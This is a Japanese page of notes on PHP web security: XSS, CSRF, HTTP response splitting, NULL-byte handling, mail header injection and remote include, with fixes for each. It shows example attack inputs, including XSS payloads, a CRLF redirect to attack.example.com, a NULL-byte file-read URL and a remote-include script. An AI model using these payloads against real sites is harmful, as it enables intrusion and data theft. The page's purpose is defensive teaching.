PHP は、Apache モジュールや、CGI、コマンドラインとして使用できるスクリプト言語です。このページでは、主に PHP における、Web アプリケーションのセキュリティ問題についてまとめています。
Web アプリケーションのセキュリティ問題としては、以下の問題についてよく取り挙げられていると思いますが、これらのセキュリティ問題について調べたことや、これら以外でも、PHP に関連しているセキュリティ問題について知っていることについてメモしておきます。
クロスサイトスクリプティング
SQL インジェクション
パス・トラバーサル(ディレクトリ・トラバーサル)
セッションハイジャック
コマンドインジェクション
また、PHP マニュアル : セキュリティや、PHP Security Guide (PHP Security Consortium) には、PHP で影響を受ける可能性のある多くのセキュリティ問題についての解説があります。また、PHP についての解説は多くはありませんが、一般的なセキュリティ問題への対策として非常に参考になるセキュア・プログラミング講座という資料が IPA から公開されています。PHP を使用する場合、特に Web プログラマコースについて読むことをお勧めします。また、セキュア・プログラミング講座 第2版も公開されています。
書籍としては「PHP サイバーテロの技法 - 攻撃と防御の実際」が 2005.11.22 に発売されています。PHP を使用した Web アプリケーション開発で注意すべきセキュリティ問題のそれぞれについて詳しく書かれており、非常に参考になる書籍だと思います。また、この本の著者である後藤さんから一部このページを参考にしたという旨の連絡をいただきました。この本ではこのページで書いていることのほとんどが網羅されています。
もし、このページを見て、何か誤字、脱字、間違い、他にも載せた方が良い情報などがありましたら、メールで教えてください。
おそらく、ここでまとめたセキュリティ対策だけでは十分とは言えませんし、勉強不足のため、詳しく説明できていない範囲や不足、間違いなどもあると思いますが、参考になりましたら幸いです。
追加項目や変更点については、更新履歴を参照してください。
クロスサイトスクリプティング(XSS と表記されることが多いようです)は、外部からの入力に Javascript や VBScript などが含まれていた場合に、その文字列の出力時にエスケープ処理を行っていないことが原因で起きる問題です。
実際の内容は複雑なのですが、悪意のあるユーザにより、ページ内に Javascript などが埋め込まれると、それを表示した他のユーザのブラウザでスクリプトが実行されます。これにより、そのページを表示したユーザのブラウザがクラッシュさせられる、セッション ID が盗まれる、他のサーバへの攻撃をさせられる可能性があります。
PHP では、以下のように、GET や POST の変数をそのまま出力した場合に問題となります。
...
<form method="post" action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>">
名前 : <input name="user" type="text" />
<input type="submit" name="submit" value="投稿" />
</form>
<?php if ( ! empty( $_POST['user'] ) ) : ?>
<div> 名前 : <?php echo $_POST['user'] ?></div>
<?php endif ?>
...
試さない方が良いですが、テキストボックスに以下のような Javascript を入力すると、ブラウザがアラートボックスを出し続け、ユーザがブラウザの操作ができないようになります。
<script>while(1){ alert( 'test' ); }</script>
他にも、現在の Cookie を取得して、別のサーバに渡すなどという非常に危険なコードを実行させることも可能です。これは、ショッピングサイトなどの個人情報を扱うサイトである場合、なりすましなどが行われる可能性があります。
HTML として出力する全ての変数、定数、関数の結果に対して、htmlspecialchars() を通して出力すれば、ほとんどのクロスサイトスクリプティングは回避できます。意図的にタグを含めて出力する場合以外は、それに応じた対処を行ってください。
PHP では、htmlspecialchars() や strip_tags() という関数が用意されています。タグやその構成要素として認識される文字列(<, >, &, ") も表示したい場合は、htmlspecialchars() を、タグの部分を削除したい場合は strip_tags() を使用します。
個人的には、クロスサイトスクリプティング対策では strip_tags() よりも htmlspecialchars() を使用することをお勧めします。理由としては、「"」や「&」は htmlspecialchars() によるエンティティ変換でエスケープできますが、strip_tags() では、タグの外に 「"」や「&」が含まれていた場合、そのまま出力してしまうためです。
<div> 名前 : <?php echo htmlspecialchars( $_POST['user'] ) ?></div>
タグの属性値を「'」で括っている場合、htmlspecialchars() の第2引数に ENT_QUOTES を入れておく必要があります。
<a href='<?php echo htmlspecialchars( $str, ENT_QUOTES ) ?>'>url</a>;
また、htmlspecialchars() には、第3引数として、文字コードを指定できますので、文字コード関連の問題を回避するために指定した方が安全です。毎回、これらのように、htmlspecialchars() の引数を指定するのは面倒ですので、echo の代わりに以下のような関数を定義して出力する全ての変数に適用すれば良いと思います。
<?php
function echo_html( $str )
{
echo htmlspecialchars( $str, ENT_QUOTES, 'UTF-8' );
}
?>
<a href="<?php echo_html( $url ) ?>"><?php echo_html( $title ) ?></a>
以上のエスケープ処理はデータの入力時ではなく、HTML を出力する時に行わなければならないとされています。これを徹底しておけば、PHP スクリプトの内部で二重にエスケープ処理を行ってしまったり、エスケープを忘れたりするような問題を回避しやすくなります。
クロスサイトスクリプティングの解説記事でよく説明される「入力データチェックを厳密に」という表現から,図3の(1)フォーム受付時のタイミングでサニタイジングを行うのかと思いがちである。サニタイジングは(2)HTML生成時のタイミングで行うべきである。次章「クロスサイトスクリプティング対策の詳細」で説明するが,データを埋め込むHTML中の文脈に合わせて適切なサニタイジング手法を選択する必要があるからである。また掲示板の例では,将来的にデータベースへの記事の書き込み手段として,メールによる投稿が導入された場合でも,(2)HTML生成時のタイミングでサニタイジングしていれば,なんら手を加えることなく,いろんな入力源から入り込んでくるデータを漏れなくサニタイジングできる。また,同じデータに誤って2回以上サニタイジングしてデータの意味が変わってしまうという設計上のトラブルも防げる。
このようにサニタイジングのタイミングは(1)フォーム受付時ではなく,(2)HTML生成時でなければならない。参考文献『Understanding Malicious Content Mitigation for Web Developers』でもHTML生成時のサニタイジングを推奨している。
セキュアプログラミング講座 第1章 セキュアWebプログラミング [1-2.]クロスサイトスクリプティング「サニタイジングのタイミングは HTML 生成時」
以下のようなことを行った場合、上記の対策では不十分になります。
style タグや script タグの内部に外部からの入力を挿入する
htmlspecialchars() は、「<」,「>」,「"」,「&」とオプションによっては 「'」をエンティティ変換します。また、strip_tags() はタグとして認識される文字列を削除するだけです。
もし、scirpt タグや style タグ内でこれらの文字が無くても実行可能なスクリプトが入力できる場合、クロスサイトスクリプティングに対処したことにはなりません。どうしてもその必要がある場合は、Javascript として実行されそうな文字列を削除するなど、非常に複雑な処理が必要になります。
例えば、以下のような style タグに囲まれている部分でも Javascript を実行してしまうブラウザがあります。
<style type="text/css">
@import url( javascript:alert('test') );
</style>
ユーザが HTML タグやスタイルシートを記述できるようにしたい場合のクロスサイトスクリプティング対策としては、はてなダイアリーXSS対策が参考になります。ブラウザによっても違いがあるため、これでも全てのクロスサイトスクリプティングに対処できるかは分かりませんが、多くの場合は対処できると思います。
タグの属性部分に外部からの変数を挿入する
多くのブラウザでは、A タグや img タグなどの属性部分から Javascript が実行可能になっています。以下のスクリプトでは、クロスサイトスクリプティングに対処したことにはなりません。
<a href="<?php echo htmlspecialchars( $_GET['url'] ) ?>">タイトル</a>
例として、http://example.com/link.php というページで、上のような処理がされていたとすると、ブラウザで以下のような URI を入力すると、Javascript の実行が可能です。
http://example.com/link.php?url=javascript:alert()
PHP による出力は以下のようになります。リンクをクリックすると Javascript が実行されます。
<a href="javascript:alert()">javascript:alert()</a>
タグの属性部分に外部からの入力を挿入する場合、必ず、Javascript が実行可能でない文字列であることをチェックしてください。例えば、上の例では、$url が正しい URI であるかどうかの確認を行うことで問題を回避することができます。
ある程度汎用的な URI のチェック用関数であれば、以下のようなものを使用すると良いと思います。必要に応じたチェックを行ってください。
function is_uri( $uri )
{
if ( preg_match( "|[^-/?:#@&=+$,\w.!~*;'()%]|", $uri ) ) {
return FALSE;
}
if ( ! preg_match(
"!^(?:https?|ftp)://" // scheme( http | https | ftp )
. "(?:\w+:\w+@)?" // ( user:pass )?
. "("
. "(?:[-_0-9a-z]+\.)+(?:[a-z]+)\.?|" // ( domain name |
. "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|" // IP Address |
. "localhost" // localhost )
. ")"
. "(?::\d{1,5})?(?:/|$)!iD", // ( :Port )?
$uri )
) {
return FALSE;
}
return TRUE;
}
PHP では特に、session_id() 関数や、定数の SID を使用する際に問題となることがあります。セッション関連の処理で注意すべきクロスサイトスクリプティング問題と、クロスサイトスクリプティング対策に strip_tags() を使用するときの注意も参考にしてください。
その他の PHP に存在するクロスサイトスクリプティング問題
他にも、以下のように、PHP のバグによるクロスサイトスクリプティング問題があります。
PHP 4.3.1 以前のバージョンでは、透過的なセッションID(Trans SID) を有効にしていた場合に起きるクロスサイトスクリプティング問題があります。詳しくは、Cross-site Scripting in PHP's Transparent Session ID Support(2004.06.08 の過去ログ)にまとめています。
透過的なセッションID を使用しなければ問題はありませんが(php.ini の session.use_trans_sid を 0 にする)、使用する場合は、PHP 4.3.2 以上を使用してください。
PHP 5.1.0 より前のバージョンと PHP 4.4.1 より前のバージョンでは、phpinfo() による情報を公開している場合に、クロスサイトスクリプティングが可能という問題もあります。(Fixed a Cross Site Scripting (XSS) vulnerability in phpinfo() that could lead f.e. to cookie exposure, when a phpinfo() script is accidently left on a production server.(PHP 4.4.1. Release Announcement, PHP 5.1.0. Release Announcement))
これは PHP スクリプト側では対処できないため、phpinfo() を外部に公開しない、php.ini で phpinfo() を使用できないように設定を変更する(php.ini の disable_functions)、PHP 5.1.0 以降、PHP 4.4.1 以降のバージョンの PHP を使用するという対処方法があります。
strip_tags() はクロスサイトスクリプティング対策として使用するには不十分です。strip_tags() を使用する場合は、他の方法と組み合わせて対処を行ってください。以下の問題があります。
PHP マニュアルでは既に修正されたようですが、PHP マニュアルの セッション処理関数(session)の例で、以前、以下のように書かれていました。以下の処理はクロスサイトスクリプティング対策になりませんので、注意してください。
例 5. 単一のユーザーに関するヒット数を数える
<?php if (!session_is_registered('count')) { session_register('count'); $count = 1; } else { $count++; } ?> こんにちは、あなたがこのページに来たのは<?php echo $count; ?>回目ですね。 <p> 続けるには、<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">ここをクリック</A>して下さい。XSS に関係する攻撃を防止するために SID を出力する際に、strip_tags()を使用します。
以下の部分ですが、SID には、任意の文字列が入る可能性があるため、クロスサイトスクリプティング対策を行う必要があります。問題は、strip_tags() はダブルコーテーションを削除しないため、エスケープ処理を回避することが可能であるという点です。
<A HREF="nextpage.php?<?php echo strip_tags (SID)?>">
例えば、SID に以下の文字列が入っていた場合、Javascript の実行は可能です。
" onmouseover="alert();
この例では、タグは以下のようになり、リンクの上にマウスを置くと、Javascript が実行されます。
<A HREF="nextpage.php?" onmouseover="alert();">
ブラウザからのリクエストを行う際には、以下のように指定することになります。
http://www.example.com/session.php?PHPSESSID="%20onmouseover="alert();"
これに対処するのは簡単で、strip_tags() ではなく、htmlspecialchars() を使用します。
<A HREF="nextpage.php?<?php echo htmlspecialchars(SID) ?>">
タグは以下のようになり、Javascript は実行されません。
<A HREF="nextpage.php?" onmouseover="alert();"">
少なくとも、タグの内部では、htmlspecialchars() を使用した方が安全です。ただし、この例の場合のように、urlencode() の方が適切なこともあります。
他にも、strip_tags() には第2引数を指定することができ、除外を行わないタグを指定できますが、この場合、削除を除外したタグの中に Javascript のコードが含まれていた場合、実行されてしまう可能性があります。クロスサイトスクリプティング対策として、strip_tags() を使用するのはやめておいた方が良いと思います。
文字コードが UTF-7 の場合、htmlspecialchars() ではタグのエスケープができないという問題が報告されています。
例えば、"<script>alert('test');</script>" という文字列を UTF-7 に変換すると以下のよう表現されます。
+ADw-script+AD4-alert('test')+ADsAPA-/script+AD4-
このような文字列が出力され、ブラウザの自動認識で文字コードが UTF-7 であると判定される、または手動で文字コードを UTF-7 に設定するとクロスサイトスクリプティングが成功します。
以下のコードは Google XSS Example (Chris Shiflett: The PHP Blog) で掲載されていたコードを少し変更したものですが、文字コードが UTF-7 の場合、htmlspecialchars() や、htmlentities() 関数ではタグをエスケープできないことが分かります。
<?php
header( 'Content-Type: text/html; charset=UTF-7' );
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding( $string, 'UTF-7' );
echo htmlspecialchars( $string );
?>
この問題への対処としては、HTTP レスポンスヘッダで明示的に文字コードを指定して、ブラウザの自動判別機能を動作させないという方法が挙げられます。PHP では header() 関数を使用して明示的に文字コードを指定できます。例として、EUC-JP で出力している場合は、以下のようにします。
header( 'Content-Type: text/html; charset=EUC-JP' );
出力時に文字コードの自動変換機能(mbstring.encoding_translation)を有効にしている場合は、PHP が自動的に文字コードを出力してくれますので、この場合は明示的にヘッダを出力する必要はないかもしれません。
Google XSS Example (Chris Shiflett: The PHP Blog)
UTF-7エンコードされたタグ文字列によるXSS脆弱性に注意 (スラッシュドット・ジャパン)
SecurIT-Advisory 2001-001 クロスサイトスクリプティング脆弱性蔓延の現状と解決策 (SecurIT)
クロスサイトスクリプティング対策の基本 (@IT)
PHP Security Guide: Form Processing: Cross-Site Scripting (PHP Security Consortium)
CSRF は特定のサイトの正規のユーザの権限を悪用して、正規のユーザが意図していない処理を強制させる攻撃です。正規のユーザがあるサイトにログインした状態で、攻撃者がそのサイトに影響を与える命令を実行させることを意図した別の URI へ誘導することで発生します。Session Riding と呼ばれることもあるようです。
クロスサイトスクリプティングと併用して行われることが多いようですが、基本的には無関係です。ただし、クロスサイトスクリプティングが可能な場合、CSRF を完全に防ぐことはできません。
CSRF については、CSRF - クロスサイトリクエストフォージェリ(hoshikuzu | star_dust の書斎) に参考サイトがまとまっており、非常に参考になります。
開発者のための正しいCSRF対策が非常に参考になります。このページの「正しい CSRF 対策」を参考にして対処を行えば良いと思います。以下の4つの方法が挙げられています。
ワンタイムトークンを正しく使用する方法
固定トークンを使用する方法
パスワードの再入力を求める方法
CAPTCHAを正しく使用する方法
PHP での実装例として、一定時間ごとにトークンを切り替えて CSRF を防止する方法を考えてみました。完全に CSRF を防止することは保証しませんが、トークンとして動作すると思います。
<?php
class Token
{
var $ttl;
var $name;
function Token( $name = 'tokens', $ttl = 1800 )
{
// CSRF 検出トークン最大有効期限(秒)
// 最小期限はこの値の 1/2 (1800 の場合は、900秒間は最低保持される)
$this->ttl = (int)$ttl;
// セッションに登録するトークン配列の名称
$this->name = $name;
}
/**
* トークンを生成
*/
function createToken()
{
$curr = time();
$tokens = isset( $_SESSION[$this->name] ) ? $_SESSION[$this->name] : array();
foreach ( $tokens as $id => $time ) {
// 有効期限切れの場合はリストから削除
if ( $time < $curr - $this->ttl ) {
unset( $tokens[$id] );
}
else {
$uniq_id = $id;
}
}
if ( count( $tokens ) < 2 ) {
if ( ! $tokens || ( $curr - (int)( $this->ttl / 2 ) ) >= max( $tokens ) ) {
$uniq_id = sha1( uniqid( rand(), TRUE ) );
$tokens[$uniq_id] = time();
}
}
// リストをセッションに登録
$_SESSION[$this->name] = $tokens;
return $uniq_id;
}
/**
* セッションのリストにトークンが存在し、トークンが有効期限内の場合は FALSE を返す
*/
function isCSRF( $token )
{
$tokens = $_SESSION[$this->name];
if ( isset( $tokens[$token] ) && $tokens[$token] > time() - $this->ttl ) {
return FALSE;
}
return TRUE;
}
}
?>
(2008.05.11 修正)
上記コードの isCSRF() メソッドの返り値が間違っていましたので、修正しました。コメントに書かれているのと逆の動作になっていました。指摘してくださった yu-ki さん、どうもありがとうございました。
考え方としては、以下の通りです。ブラウザで複数のページを開いていた場合でも、一定時間以内にページの書き換えがあれば、セッションを継続できます。
まだトークンが発行されていない場合は、トークンを発行
設定時間(デフォルトでは 1800 秒)の半分が経過した時点で新しいトークンを発行(最大同時に2個のトークンを保持する)
createToken() メソッドは常に新しい方のトークンを返す
isCSRF() は、トークンが不正な場合か、有効期間が切れていた場合、TRUE を返す
以下のように使用します。
<?php
session_start();
$token =& new Token()
if ( isset( $_POST['command'] ) ) { // CSRF をチェックする必要のある処理の場合
if ( empty( $_POST['token'] ) || $token->isCsrf( $_POST['token'] ) ) {
// CSRF が検出されたか、期限切れの場合の処理
trigger_error( 'CSRF or timeout' );
exit;
}
// $_POST['command'] を使用した処理
}
$token_id = $token->createToken();
?>
...
<input type="hidden" name="token" value="<?php htmlspecialchars( $token_id, ENT_QUOTES ) ?>" />
...
CSRF - クロスサイトリクエストフォージェリ(hoshikuzu | star_dust の書斎)
Whitepaper "SESSION RIDING - A Widespread Vulnerability in Today's Web Applications"(PDF)
PHP には、ブラウザに対して HTTP レスポンスヘッダを送信する関数があります(header(), setcookie() 関数など) ブラウザは、HTTP レスポンスヘッダを受け取ると、その内容に応じた処理を行います。
Web アプリケーション開発者が header() 関数などに、外部からの入力を使用していた場合、適切な処理を行っていないと、不正に HTTP レスポンスヘッダを出力させられてしまう可能性があります。
HTTP レスポンスヘッダを不正に改竄されると、Location: ... や Set-Cookie: ... など、任意のヘッダを出力させられてしまうことになります。場合によっては、非常に危険な攻撃が可能になりますので、十分な対処を行う必要があります。
例えば、別のサーバにリダイレクトを行う以下のようなスクリプトがあるとします。
if ( ! empty( $_GET['id'] ) ) {
$id = $_GET['id'];
header( 'Location: http://contents.example.com/' . $id . '/' );
}
以下のようなリクエストを送ることで、攻撃者は任意の HTTP レスポンスヘッダを追加できます。
http://www.example.com/redirect.php?test=a%0d%0aLocation:%20http://attack.example.com/
この攻撃方法を使用すると、任意のサーバに誘導させられるだけでなく、Cookie の内容を取得される(セッションハイジャックや機密情報を盗まれる)、Cookie の内容の上書き(セッション固定など)、Proxy サーバおよび、ローカルにおけるキャッシュ汚染などが可能になります。
2通りの対処方法があります。
1. PHP スクリプト側で対処する方法
HTTP レスポンス分割攻撃への対処としては、CR,LF(\r\n) が含まれるような入力文字列を header() 関数などに通さないようにすることで対処可能です。
if ( ! empty( $_GET['id'] ) ) {
$id = str_replace( array( "\r", "\n" ), "", $_GET['id'] );
header( 'Location: http://contents.example.com/' . $id . '/' );
}
ただし、HTTP レスポンス分割攻撃以外の想定外の問題が起きることを防ぐためにも、入力内容が想定通りなのかについて、正規表現などで確認した方が安全です。また、PHP 5.0.0 から PHP 5.1.1 までのバージョンでは、セッション機能にこの問題が報告されていますので、この対処方法だけでは不十分です。
2. PHP アプリケーション側で対処する方法
PHP 4.4.2 と PHP 5.1.2 において、ヘッダを送信する関数では一度に複数のヘッダを送信できないように修正されました。
この修正により、PHP 4.4.2 / PHP 5.1.2 以降のバージョンを使用している場合は(何か他の脆弱性が見つからない限り)HTTP レスポンス分割攻撃を起こすことは難しいと考えられます。ただし、古いバージョンで PHP スクリプトを動作させる可能性が少しでもある場合は、PHP スクリプト側でも対処できているかについて確認しておいた方が良いと思います。
PHP 5.0.0 から PHP 5.1.1 までのバージョンでは、セッション機能に HTTP レスポンス分割の脆弱性があることが報告されています。これは、PHP がセッション ID をそのまま HTTP レスポンスヘッダの Set-Cookie フィールドに使用してしまうことが原因です。
問題の影響を受けるバージョンを使用している場合は、Hardened-PHP Project が公開している Patch を適用して運用するか、最新のバージョンを使用することでこの問題の影響を回避できます。
PHP スクリプト側での対処方法としては、session.use_only_cookies を有効にして運用する、または、session_start() の後に必ず session_regenerate_id() を実行するという方法が考えられます。
Advisory 01/2006: PHP ext/session HTTP Response Splitting Vulnerability (Hardened-PHP Project)
Advisory 01/2006: PHP ext/session HTTP Response Splitting Vulnerability (Hardened-PHP Project)
Introduction to HTTP Response Splitting (SecuriTeam)
NULL バイト("\x00" や "\0" として表される C 言語では終端文字されている文字列) による影響により、誤動作の原因となる問題です。
PHP に限りませんが、変数にバイナリデータが含まれている場合でも、正しく処理できるバイナリセーフの関数とバイナリデータが含まれていた場合、正しく処理できない可能性があるバイナリセーフでない関数があります。バイナリセーフでない関数は NULL バイトが含まれていた場合、文字列の終了とみなしてしまうため、NULL バイトの後ろにデータがあった場合でも処理を終了してしまいます。これにより、スクリプトで意図していなかった動作となる可能性があります。
詳しくは次の検証コードで説明しますが、NULL バイトの問題は影響を受ける関数が多く、様々な問題を引き起こす可能性があります。チェックを行わない場合を除くと、以下の条件に当てはまった場合、意図していなかった動作となる可能性が高くなります。
バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合
バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合
バイナリセーフでない関数の例として、引数のファイル名に NULL バイトが含まれていると NULL バイトまでの部分をファイル名として認識する関数や制御構造には、以下のものがあります(おそらく、これら以外にもあると思います)。
fopen()
readfile()
file(), file_get_contents()
include(), include_once()
require(), require_once()
basename()
以下の POSIX 互換の正規表現関数も NULL バイトが含まれている文字列を正しく処理できませんので、気をつける必要があります。
ereg(), eregi()
ereg_replace(), eregi_replace()
split(), spliti()
また、途中でバイナリセーフに変更された関数や制御構造もあります。詳しくは、PHP 4 ChangeLog を binary safe というキーワードで検索してみると、他にもいくつか見つかります。これらの関数は、PHP のバージョンによって NULL バイトの扱いを気にする必要があるかもしれません。
strip_tags()
PHP 4.3.2 からバイナリセーフに変更されています。
fgetcsv()
PHP 4.3.5 からバイナリセーフに変更されています。
file()
PHP 4.3.0 から、指定されたファイルの内容に NULL バイトが含まれていても、正しい結果を返すようになりました。
foreach, each()
PHP 4.3.3 から、ハッシュのキーに NULL バイトが含まれていた場合でも正しく処理できるように変更されています。PHP 4.3.2 以前では、ハッシュのキーに NULL バイトが含まれていた場合、誤動作の原因となる可能性があります。また、ハッシュの値に扱いに関してはこの問題はありません。
バイナリセーフの関数で入力チェックを行い、バイナリセーフでない関数を使用した処理を行った場合の問題
PHP-users メーリングリストに以下の例が投稿されていました([PHP-users 12736] null byte attack)
<?php
// ファイル名: null_byte.php
// 攻撃例: http://example.com/null_byte.php?filename=null_byte.php%00myext
// 上記の攻撃例では意図していないスクリプトソースが表示される
echo '<pre>';
// 専用の拡張子のファイルのみ開く(つもり)
if (preg_match('/myext$/', $_GET['filename'])) {
// eregはバイナリセーフではないので、\0で文字列の終り
// とみなします。eregを使っている場合はnull byte attackは
// 不可
readfile($_GET['filename']);
}
else {
echo "bad file\n";
}
?>
このスクリプトの意図としては、指定されたファイル名が myext という拡張子だった場合、指定されたファイルを表示するというものですが、任意のファイルを表示させることが可能になっています。この例では、自分自身(null_byte.php)を表示してしまいます。
問題は、preg_match() はバイナリセーフであるため、以下の部分で TRUE を返すのですが、
if ( preg_match( '/myext$/', "null_byte.php\0myext" ) ) {
...
}
readfile() は引数のファイル名で NULL バイトを扱えないため、NULL バイト以前までを有効な文字列としてみなします。
readfile( "null_byte.php\0myext" ); // "\0" は NULL バイト
結局、以下の命令を実行するのと同じ結果になってしまいます。
readfile( "null_byte.php" );
この問題を解決する方法として、preg_match() の代わりに、ereg() を使用する方法が挙げられています。以下のように ereg() を使用した場合、if 文の結果は FALSE になりますので、問題は起こりません。
if ( ereg( 'myext$', "null_byte.php\0myext" ) ) {
...
}
または、preg_match() で省略せずに、文字列の先頭から不正な文字列のみで構成されているかを確認するという方法もあります。NULL バイトが含まれていないことを保証するため、許可する文字を限定する必要があります(ここでは、\w(0-9, a-z, A-Z, -を含む) を使用しています。任意の文字である "." を使用すると意味がなくなります)。例として、preg_match() を使用していても、以下のようにすれば if 文は FALSE を返します。
if ( preg_match( '/^\w+\.myext$/D', "null_byte.php\0myext" ) ) {
...
}
バイナリセーフでない関数で入力チェックを行い、バイナリセーフの関数を使用した処理を行った場合
例えば、以下のような例が考えられます。通常は POST を使用してフォームを送信すると思いますが、分かりやすくするために GET を使用しています。
<?php
$file = '/tmp/test.txt';
if ( ! empty( $_GET ) ) {
$name = ereg_replace( "\t|\n", " ", $_GET['name'] );
if ( ereg( "^[0-9]{3}-[0-9]{4}$", $_GET['zip'] ) ) {
$fp = fopen( $file, is_file( $file ) ? "a" : "w" );
fwrite( $fp, $name . "\t" . $_GET['zip'] . "\n" );
fclose( $fp );
}
else {
echo '不正なデータが入力されました。';
}
}
?>
<form method="get" action="<?php echo htmlspecialchars( $_SERVER["SCRIPT_NAME"] ) ?>">
名前 : <input type="textbox" name="name" />
郵便番号 : <input type="textbox" name="zip" />
<input type="submit" value="送信">
</form>
<pre>
<?php
$data = is_file( $file ) ? file( $file ) : exit( 'データがありません' );
foreach ( $data as $line ) {
list( $name, $zip ) = explode( "\t", $line );
echo htmlspecialchars( $name . ":" . $zip );
}
?>
</pre>
このスクリプトは、名前と郵便番号をタブ区切りでチェックを通過したデータをファイルに追加していくだけのものです。
チェック関数として、ereg_replace() と ereg() を使用していますが、これらの関数はバイナリセーフではないため、以下のような URI が入力された場合、2人分のデータの入力が可能になり、2人目以降はデータのチェックが行われないことになります("%00" は NULL バイト、"%0A" は改行コード、"%09" はタブです)。
http://example.com/input.php?name=test1&zip=000-0000%00%0Atest2%09zipcode
ereg() 関数でチェックを行う部分は以下の処理を行うことになります。ereg() では、NULL バイトまでしか認識しないため、この if 文は TRUE になり、ファイルへの追記が行われます。
if ( ereg( "^[0-9]{3}-[0-9]{4}$", "000-0000\x00\x0Atest2\x09zipcode" ) ) {
データファイルは以下のようになります。"\t" はタブ、"\0" は NULL バイトです。NULL バイト入っていますが、次の行にデータが追加できてしまっていることが分かります。
test1\t000-0000\0 test2\tzipcode
この場合、バイナリセーフでない ereg 系の関数では NULL バイトを扱えないため、バイナリセーフである、preg 系の関数を使用して、問題を回避する必要があります。
該当部分(4,5行目)を以下のように preg 系の関数を使用するように修正すれば、この問題は回避できます。
$name = preg_replace( "/\t|\n/", " ", $_GET['name'] );
if ( preg_match( "/^[0-9]{3}-[0-9]{4}$/D", $_GET['zip'] ) ) {
NULL バイトの問題は非常に複雑であるため、個別に対処するには、全ての関数についてバイナリセーフであるかどうかを調べる必要があり、非常に手間が掛かります。もし、外部からの入力が文字列で、テキストデータであることが分かっているのであれば、NULL バイトを全て取り除くことで簡単に対処できます。
$_POST, $_GET, $_COOKIE については、基本的には文字列のテキストデータが入っていますので、以下の関数が使用できます。スクリプトの最初で適用すれば、これらの適用した変数で NULL バイトの問題を気にする必要がなくなります。ただし、バイナリデータが含まれる変数に使用した場合、データが破壊される可能性がありますので、注意してください。
また、日本語でよく使用される文字コードセットである、EUC-JP、Shift_JIS、ISO-2022-JP、UTF-8 では、NULL バイトが文字列に含まれることは無いはずですが、それ以外の文字コードセットでは NULL バイトが含まれる可能性がありますので、その場合は NULL バイトが含まれないことを確認してから使用してください。もう一つの注意として、この関数を適用したそれぞれの配列の変数は文字列になってしまいますので、型を気にする必要がある場合は型に応じて適当に修正する必要があります。
function delete_nullbyte( $arr )
{
if ( is_array( $arr ) ) {
return array_map( 'delete_nullbyte', $arr );
}
return str_replace( "\0", "", $arr );
}
$_GET = delete_nullbyte( $_GET );
$_POST = delete_nullbyte( $_POST );
$_COOKIE = delete_nullbyte( $_COOKIE );
個人的には、入力チェックに正規表現を使用する場合は、ereg 系の POSIX 互換の正規表現関数は使用せずに、preg で始まる Perl 互換の正規表現関数か、mb_ereg で始まるマルチバイト正規表現関数を使用した方が安全であると思います。ただし、上の1番目の例にもあるように、NULL バイトが含まれている可能性を考慮すると、文字列の最終部分だけでなく、先頭から文字列全体をチェックする必要があります。
また、正規表現による文字列のチェックだけではなく、読み込むファイルを外部の入力データから決定するのであれば、is_file() や、basename() などを組み合わせて、確実に意図しているディレクトリからファイルを読み込むようにしておくと安全です。
その他、NULL バイトに関連する PHP のセキュリティ問題として報告されているものがいくつかあります。
PHP strip_tags() bypass vulnerability
PHP 4.3.7 以前と PHP 5.0.0RC3 以前の strip_tags() の第2引数に許可するタグを指定している場合、第1引数の変数に NULL バイトが含まれていると、タグの除去を回避されてしまうという問題です。
また、strip_tags() は、PHP 4.3.2 からバイナリセーフに変更されていますので、PHP 4.3.1 以前のstrip_tags() で NULL バイトが含まれた文字列を処理した場合、後ろの部分が削除されてしまいます。古いバージョンの PHP で strip_tags() を使用する場合には注意してください。
これらの2つの問題は関数を使用する前に NULL バイトを除去しておけば、影響を受けません。
[PHP] include() bypassing filter with php://input (2004.05.30 の過去ログ)
include() に php://input を引数として与えることで、任意のスクリプトが実行される問題です。この問題で紹介されている攻撃に NULL バイトを使用すると、攻撃が成功する可能性が高くなります。
Bug in w-agora (Bugtraq)
[PHP-users 12736] null byte attack (PHP-users メーリングリスト)
mail() や mb_send_mail() 関数では、第4引数で追加のヘッダを指定することができますが、そこに外部から入力されたデータを追加する場合、外部からの入力変数のチェックを行っていないと任意のメールヘッダやメール本文を追加できてしまうという問題があります。
以下のように mail() 関数を使用していた場合、$_POST['from'] に不正な文字列が入力された場合、任意のメールヘッダやメール本文を入力することが可能です。
$from = $_POST['from']; $header = 'From: ' . $from . "\n"; mail( $to, $subject, $message, $header );
例えば、$_POST に以下のような文字列が入力されていた場合、bcc: に指定したアドレスにもメールを送信させることが可能です。
test@mail.example.com\nbcc:test2@mail2.example.com\n
例えば、以下のように正規表現などによって入力が正しいかどうかを判定することで対処可能です。必要に応じた対処を行ってください。
$from = $_POST['from'];
if ( ! preg_match( '/^[-.\w]+@([-\w]+\.)\w+$/D', $from ) ) {
// 不正な文字列が入っていた場合の処理
exit;
}
$header = 'From: ' . $from . "\n";
mail( $to, $subject, $message, $header );
PHP 5.1.0 と PHP 4.4.2RC1 より前のバージョンの mb_send_mail() 関数の問題として、mail() 関数では行われている To: (第1引数) の改行コードの削除が mb_send_mail() では行われてないという問題が指摘されています。このため、To: に改行コードが含まれる事がないようにする必要があります。
To: にはメールアドレスしか入らないように確認するなどの対処を行っていれば、改行コードは入りませんので、特に気にするような問題ではありません。
Email header injection in PHP (The Musings of Harry)
Email Injection (SecurePHP)
PHP の include(), include_once(), require(), require_once() は、外部ファイルを読み込み、評価する制御構造ですが、これらに渡す引数に http://... や ftp://... などの URI を渡すことも可能です。外部からファイルが PHP スクリプトだった場合、そのスクリプトを実行してしまいますので、include() や require() に渡す引数には注意が必要です。
PHP では、include_path を設定し、GET 変数や POST 変数などの引数により読み込むファイルを切り替えるという方法がよく使われていると思いますが、ユーザからの入力チェックを正しく行わないと、外部から任意のスクリプトが実行されてしまう可能性があります。
また、allow_url_fopen を Off に設定することで include(), require(), fopen などによる外部サーバへの接続を禁止することも可能ですが、allow_url_fopen を Off にしていても、任意のスクリプトを実行させる方法もあります(php://input を使用する方法)ので、十分な入力チェックを行い、include() や require() に想定していない文字列が渡るようなことがないようにしてください。
以下のように、外部のサーバに実行したい PHP スクリプトを準備します。例えば、http://attack.example.com/exec.txt に、以下の内容が書かれていたとします。
<?php phpinfo() ?>
